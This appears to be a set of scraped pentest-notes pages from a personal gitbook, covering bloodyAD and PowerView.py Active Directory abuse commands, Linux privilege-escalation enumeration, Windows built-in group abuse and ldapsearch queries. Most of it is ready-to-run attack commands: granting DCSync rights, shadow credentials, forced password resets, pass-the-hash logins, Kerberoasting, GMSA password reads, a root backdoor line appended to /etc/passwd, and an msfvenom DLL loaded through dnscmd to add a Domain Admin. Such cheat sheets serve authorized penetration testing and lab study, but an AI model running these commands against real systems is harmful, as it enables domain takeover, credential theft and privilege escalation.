Login)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-malicious-script-to-user-executes-on-login) * [Create New DNS Record for DNS Spoofing Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#create-new-dns-record-for-dns-spoofing-attacks) * [Assign Different UPN (userPrincipalName) for UPN Spoofing Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-different-upn-userprincipalname-for-upn-spoofing-attacks) * [Assign Value to altSecurityIdentities Attribute for X.509/ESC14 Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-value-to-altsecurityidentities-attribute-for-x.509-esc14-attacks) * [Notes](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#notes) Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLE Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add shadowCredentials 'target' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\\malicious.bat' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add dnsRecord Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@domain.htb' Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<.........>' --- # Enumerating Attack Vectors | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#helpful-tools) **Helpful Tools** ---------------------------------------------------------------------------------------------------------------------------------------------------- 1. [https://github.com/carlospolop/PEASS-ng/tree/master/linPEASarrow-up-right](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) 2. [https://github.com/rebootuser/LinEnumarrow-up-right](https://github.com/rebootuser/LinEnum) 3. [https://github.com/DominicBreuker/pspyarrow-up-right](https://github.com/DominicBreuker/pspy) 4. [https://pentestmonkey.net/tools/audit/unix-privesc-checkarrow-up-right](https://pentestmonkey.net/tools/audit/unix-privesc-check) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#processes-and-jobs) **Processes and Jobs** -------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `ps aux | grep root` See processes running as root `./pspy64 -pf -i 1000` View running processes with `pspy` `ls -la /etc/cron.daily` Check for daily Cron jobs `grep "CRON" /var/log/syslog` Enumerate cron jobs `lpstat` Look for active or queued print jobs to gain access to sensitive information [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#kernel-and-os) **Kernel and OS** ---------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `hostname` Check the hostname (useful to ensure the target is in scope) `uname -a` Check the Kernel version `cat /proc/version` Check the Kernel version `cat /etc/lsb-release` Check the OS version `cat /etc/os-release` Check the OS version `cat /etc/issue` May contain information about the system version and release `lscpu` Gather additional information about the host `sudo -V` Check sudo version [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#user-related) **User-Related** -------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `echo $PATH` Check the current user's PATH variable contents `ps au` See logged in users `history` Check the current user's Bash history `whoami` Check what user we are running as `id` Check what groups we belong to `sudo -l` Can the user run anything as another user? [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#network-related) **Network Related** -------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `ip -a` Check network interfaces `ipconfig` Check network interfaces `hostname -I` Display all IP addresses related to the host `cat /etc/hosts` Check for potential interesting hosts `route` Check out the routing table to see what other networks are available via which interface `netstat -rn` Check out the routing table to see what other networks are available via which interface `arp -a` Check the arp table to see what other hosts the target has been communicating with `cat /etc/resolv.conf` Check if the host is configured to use internal DNS → Starting point to query the Active Directory environment `ss -tulpn` Check listening services on both TCP and UDP ports `netstat -tulpn` Check listening services on both TCP and UDP ports `ss -anp` Display active connections and listening ports [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#finding-interesting-files-and-directories) **Finding Interesting Files and Directories** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Command Description `find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null` Find all accessible history files `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null` Find world-writeable directories `find / -type d -name ".*" -ls 2>/dev/null` Find all hidden directories `find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null` Find all hidden files `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null` Find world-writeable files `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null` Find binaries with SUID bit set `find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null` Find binaries with SGID bit set `find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;` Enumerate binary files capabilities `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null` Search config files `find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null` Search config files `find / -type f -name "*.sh" 2>/dev/null \| grep -v "src\|snap\|share"` Find `.sh` scripts `grep -r "word" /starting-path` Resursively inspect file contents to find instances of "word": `ls -l /tmp /var/tmp /dev/shm` Find temporary files [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#enumerating-suid-binaries) Enumerating SUID binaries ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ **SUID** is a special file permission for executable files which enables other users to run the file with effective permissions of the file owner. Instead of the normal `x` which represents execute permissions, you will see an `s` (to indicate **SUID**) special permission for the user. Obviously, for a quick win, you want to find SUID binaries having the `root` user as the file's owner. HackTricks has a [pagearrow-up-right](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid) where more info about this topic is explained. You can `find` SUID binaries in many ways, the following are some example commands: * `find / -perm -4000 2>/dev/null` * `find / -perm /4000 2>/dev/null` * `find / -perm /u+s 2>/dev/null` * `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null` [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#other-tricks-miscellaneous) Other Tricks - Miscellaneous ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- circle-check This section contains some specific things which could help you find unusual vectors to escalate your privileges. * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#writeable-passwd-file) Writeable passwd file Always check whether you have write permissions into the `/etc/passwd` file. If that's the case, you can effectively set an arbitrary password for any account. To check, use `ls -la /etc/passwd` Supposing you have write permissions, you can `generate a password hash` and use it to log as `root` as follows: 1. Generate the password hash: `openssl passwd w00t output: Fdzt.eqJQ4s0g` 2. Append the password hash inside the passwd file: `echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd` 3. Now you can login as root using `su root2` and inserting `w00t` as the user's password [PreviousPriveEsc Checklistchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist) [NextPrivileged Groupschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privileged-groups) Last updated 9 months ago * [Helpful Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#helpful-tools) * [Processes and Jobs](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#processes-and-jobs) * [Kernel and OS](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#kernel-and-os) * [User-Related](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#user-related) * [Network Related](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#network-related) * [Finding Interesting Files and Directories](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#finding-interesting-files-and-directories) * [Enumerating SUID binaries](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#enumerating-suid-binaries) * [Other Tricks - Miscellaneous](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#other-tricks-miscellaneous) * [Writeable passwd file](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors#writeable-passwd-file) --- # Built-in Groups Abuse | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#backup-operators-group) **Backup Operators Group** ------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Membership of this group grants its members the `SeBackup` and `SeRestore` privileges. * This group also permits logging in locally to a domain controller. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#event-log-readers-group) **Event Log Readers Group** --------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Organizations may enable logging of process command lines to help defenders monitor and identify malicious behavior * Members of this group may read these logs, potentially `finding user credentials` * Search security logs containing the word `/user` with the **built-in utility** `wevtutil`: `wevtutil qe Security /rd:true /f:text | Select-String "/user"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#server-operators-group) **Server Operators Group** ------------------------------------------------------------------------------------------------------------------------------------------------------------------- * This group allows members to administer Windows servers without needing assignment of Domain Admin privileges. * It is a very highly privileged group that can log in locally to servers, including Domain Controllers. * Members can modify services, access SMB shares, and backup files. * Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#print-operators-group) **Print Operators Group** ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * Members of this group are granted the `SeLoadDriver` privilege * Members can log on to DCs locally and "trick" Windows into loading a malicious driver. * This is a good privilege to perform privilege escalation (see above in the `SeLoadDriverPrivilege` section) * If we issue the command `whoami /priv`, and don't see the `SeLoadDriverPrivilege` from an unelevated context, _we will need to bypass UAC_ * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#hyper-v-administrators-group) **Hyper-V Administrators Group** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * The Hyper-V Administrators group has full access to all Hyper-V features. * If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins. * They can easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain. * Whenever possible, we can leverage CVE-2018-0952 or CVE-2019-0841 to gain SYSTEM privileges. * Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#dns-admins-group) **DNS Admins Group** ------------------------------------------------------------------------------------------------------------------------------------------------------- * Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. * They can load a malicious DLL and wait for a reboot as a persistence mechanism. * Loading a DLL will often result in the service crashing. * A more reliable way to exploit this group is to use [cube0x0's exploitarrow-up-right](https://cube0x0.github.io/Pocing-Beyond-DA/) . * PoC to add a member to the Domain Admins Group: 1. Generate dll: `msfvenom -p windows/x64/exec cmd='net group "domain admins" TARGETUSER /add /domain' -f dll -o adduser.dll` 2. Transfer the file to the target machine 3. Load a custom DLL: `dnscmd.exe /config /serverlevelplugindll C:path\to\adduser.dll` 4. CMD only: `sc stop dns` 5. CMD only: `sc start dns` 6. Confirm group membership: `net group "Domain Admins" /dom` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#account-operators-group) **Account Operators Group** --------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Members can modify non-protected accounts and groups in the domain. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#remote-desktop-users-group) **Remote Desktop Users Group** --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Members are not given any useful permissions by default * The main use of members of this group are to Login Through Remote Desktop Services and can move laterally using the RDP protocol. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#remote-management-users-group) **Remote Management Users Group** --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Members can log on to DCs with PSRemoting * This group is sometimes added to the local remote management group on non-DCs [PreviousExcessive User Rights Abusechevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse) [NextFile System ACLschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/file-system-acls) Last updated 11 months ago * [Backup Operators Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#backup-operators-group) * [Event Log Readers Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#event-log-readers-group) * [Server Operators Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#server-operators-group) * [Print Operators Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#print-operators-group) * [Hyper-V Administrators Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#hyper-v-administrators-group) * [DNS Admins Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#dns-admins-group) * [Account Operators Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#account-operators-group) * [Remote Desktop Users Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#remote-desktop-users-group) * [Remote Management Users Group](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse#remote-management-users-group) --- # PowerView.py | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#introduction) Introduction ------------------------------------------------------------------------------------------------------------------------------------ PowerView.py is an alternative to the fantastic original PowerView.ps1 script. Most of the modules used in PowerView are available here (some of the flags have changed). The main goal is to achieve an interactive session without having to repeatedly authenticate to LDAP. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Faniqfakhrul%2Fpowerview.py%2Fraw%2Fmain%2Flogo.png&width=768&dpr=3&quality=100&sign=f99fe69e&sv=2) PowerView.py Logo **GitHub Repository:** [aniqfakhrul/powerview.pyarrow-up-right](https://github.com/aniqfakhrul/powerview.py) - Just another Powerview alternative [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#installation) Installation ------------------------------------------------------------------------------------------------------------------------------------ Before installing PowerView.py, you need to install the required system dependencies: Then install PowerView using pip: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#usage) Usage ---------------------------------------------------------------------------------------------------------------------- PowerView.py supports multiple authentication methods for connecting to Active Directory environments. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#basic-authentication-username-password) Basic Authentication (Username/Password) ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#pass-the-hash-pth-authentication) Pass-the-Hash (PtH) Authentication ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#kerberos-authentication) Kerberos Authentication ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#web-browser-interface) Web Browser Interface PowerView.py also provides a web interface for easier interaction: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#attacking-active-directory-with-powerview.py) Attacking Active Directory with PowerView.py ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- PowerView.py provides various commands for Active Directory enumeration and exploitation. Below are some common attack scenarios and their corresponding commands. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#user-and-group-management) User and Group Management #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#add-user-to-group) Add User to Group Add a user to a specific domain group: #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#modify-user-password) Modify User Password Change a user's password (requires appropriate permissions): #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#add-new-domain-user) Add New Domain User Create a new user in the domain: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#kerberoasting-attacks) Kerberoasting Attacks #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#set-serviceprincipalname-for-kerberoasting) Set ServicePrincipalName for Kerberoasting Assign a ServicePrincipalName (SPN) to a user for Kerberoasting attacks. This requires GenericAll/GenericWrite permissions on the target user: #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#execute-kerberoasting-attack) Execute Kerberoasting Attack Perform Kerberoasting to extract service tickets: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#asreproasting-attacks) ASREPRoasting Attacks #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#enable-dont_req_preauth-for-asreproast) Enable DONT\_REQ\_PREAUTH for ASREPRoast Configure a user account to not require Kerberos pre-authentication. This requires GenericAll/GenericWrite permissions on the target user: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#account-management) Account Management #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#enable-disabled-user-account) Enable Disabled User Account Remove the ACCOUNTDISABLE flag to enable a disabled user account: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#gmsa-group-managed-service-accounts) GMSA (Group Managed Service Accounts) #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#read-gmsa-password) Read GMSA Password Extract Group Managed Service Account passwords: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#object-ownership-and-permissions) Object Ownership and Permissions #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#change-object-owner) Change Object Owner Make a user the owner of a specific object: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#computer-management) Computer Management #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#add-new-domain-computer) Add New Domain Computer Create a new computer account in the domain: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#dns-manipulation) DNS Manipulation #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#create-dns-record-for-spoofing) Create DNS Record for Spoofing Add a new DNS record for DNS spoofing attacks: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#security-considerations) Security Considerations ---------------------------------------------------------------------------------------------------------------------------------------------------------- When using PowerView.py for penetration testing or security assessments: * Always ensure you have proper authorization before testing * Use these tools only in authorized environments * Document all activities for reporting purposes * Follow responsible disclosure practices * Be aware of the potential impact of your actions on production systems [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#troubleshooting) Troubleshooting ------------------------------------------------------------------------------------------------------------------------------------------ If you encounter issues during installation or usage: 1. Ensure all dependencies are properly installed 2. Verify network connectivity to the target domain controller 3. Check authentication credentials and permissions 4. Review error messages for specific guidance 5. Consult the GitHub repository for updates and known issues [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#resources) Resources ------------------------------------------------------------------------------------------------------------------------------ * **Official Repository:** [GitHub - aniqfakhrul/powerview.pyarrow-up-right](https://github.com/aniqfakhrul/powerview.py) * **Original PowerView:** [PowerSploit PowerViewarrow-up-right](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) * **Active Directory Security:** Microsoft Active Directory Security Documentation [PreviousLDAPSearchchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch) [NextLinux Privilege Escalationchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation) Last updated 9 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#introduction) * [Installation](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#installation) * [Usage](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#usage) * [Basic Authentication (Username/Password)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#basic-authentication-username-password) * [Pass-the-Hash (PtH) Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#pass-the-hash-pth-authentication) * [Kerberos Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#kerberos-authentication) * [Web Browser Interface](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#web-browser-interface) * [Attacking Active Directory with PowerView.py](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#attacking-active-directory-with-powerview.py) * [User and Group Management](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#user-and-group-management) * [Kerberoasting Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#kerberoasting-attacks) * [ASREPRoasting Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#asreproasting-attacks) * [Account Management](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#account-management) * [GMSA (Group Managed Service Accounts)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#gmsa-group-managed-service-accounts) * [Object Ownership and Permissions](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#object-ownership-and-permissions) * [Computer Management](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#computer-management) * [DNS Manipulation](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#dns-manipulation) * [Security Considerations](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#security-considerations) * [Troubleshooting](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#troubleshooting) * [Resources](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview#resources) Copy sudo apt install libkrb5-dev Copy pip3 install powerview --break-system-packages Copy powerview domain.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10 Copy powerview domain.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10 Copy powerview domain.htb/user@dc.domain.htb --dc-ip 10.10.10.10 -ns dc.domain.htb -k --no-pass Copy powerview domain.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000 Copy Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET' Copy Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!' Copy Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!' Copy Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo' Copy Invoke-Kerberoast Copy Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352' Copy Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048' Copy Get-GMSA Copy Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target' Copy Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!' Copy Add-DomainDNSRecord -RecordName '' -RecordAddress --- # LDAPSearch | Pentest Notes ldapsearch is a command-line tool used to perform searches on an LDAP server. It serves to query stored information such as users, groups, email addresses, or any other data managed by the directory. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#authentication) Authentication ----------------------------------------------------------------------------------------------------------------------------------------- Copy # Basic authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' # Authentication via Kerberos (TGT must be exported in KRB5CCNAME beforehand) ldapsearch -H ldap://dc.domain.htb -Y GSSAPI [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerating-ldap-with-ldapsearch) Enumerating LDAP with ldapsearch ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#domain-name-identification) Domain Name Identification Copy ldapsearch -x -H ldap://10.10.10.10 -s base | grep defaultNamingContext ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#search-for-password-related-content) Search for Password-Related Content Copy # Enumerate LDAP for content containing "pwd|password" ldapsearch -x -H ldap://10.10.10.10 -b "dc=domain,dc=htb" | grep -ie "pwd\|password" ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#query-objects-with-info-field-data) Query Objects with Info Field Data Copy # Enumerate objects in LDAP that have data in the "info" field ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b 'dc=domain,dc=htb' "(info=*)" info ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#read-laps-password) Read LAPS Password ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#user-enumeration-with-pattern-matching) User Enumeration with Pattern Matching #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-users-starting-with-m.lov) Enumerate Users Starting with "m.lov" #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-users-containing-lov) Enumerate Users Containing "lov" #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-users-ending-with-god) Enumerate Users Ending with "god" ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#general-user-enumeration) General User Enumeration #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-users-via-ldap) Enumerate Users via LDAP #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-a-d-users-and-show-group-memberships) Enumerate AD Users and Show Group Memberships ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#computer-enumeration) Computer Enumeration #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-a-d-computers-with-full-information) Enumerate AD Computers with Full Information ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#group-enumeration) Group Enumeration #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-members-of-moderators-group-example) Enumerate Members of 'Moderators' Group (Example) ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#detailed-user-information) Detailed User Information #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerate-important-fields-for-specific-user) Enumerate Important Fields for Specific User [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#key-parameters) Key Parameters 